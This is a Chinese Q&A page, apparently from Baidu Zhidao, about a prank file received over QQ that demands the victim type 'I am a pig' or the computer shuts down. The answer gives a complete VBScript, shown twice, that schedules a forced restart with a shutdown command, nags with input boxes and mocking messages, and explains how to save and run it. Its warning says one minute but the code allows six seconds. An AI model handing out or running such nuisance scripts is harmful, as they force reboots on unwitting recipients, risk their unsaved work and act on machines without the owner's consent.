同学从QQ给我传了一个文件不很大接收以后自动弹出一个对话框请在空白处输入我是猪否10秒钟后将关闭计算机
展开全部
vbs小程序 就跟这样的，打开记事本——把下面的代码输入进去 on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " " 保存成 "整人.vbs” 文件名，那个点VBS一定要写，然后双击打开就跟你的差不多一个效果了。更多的程序 http://tieba.baidu.com/p/616676294 什么中木马啊，简直就是乱写的这个正确答案。
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " " 保存成 "整人.vbs” 文件名，那个点VBS一定要写，然后双击打开就跟你的差不多一个效果了。更多的程序 http://tieba.baidu.com/p/616676294 什么中木马啊，简直就是乱写的这个正确答案。
已赞过
已踩过<
评论
收起
你对这个回答的评价是？
更多回答（3）
推荐律师服务：
若未解决您的问题，请您详细描述您的问题，通过百度律临进行免费专业咨询
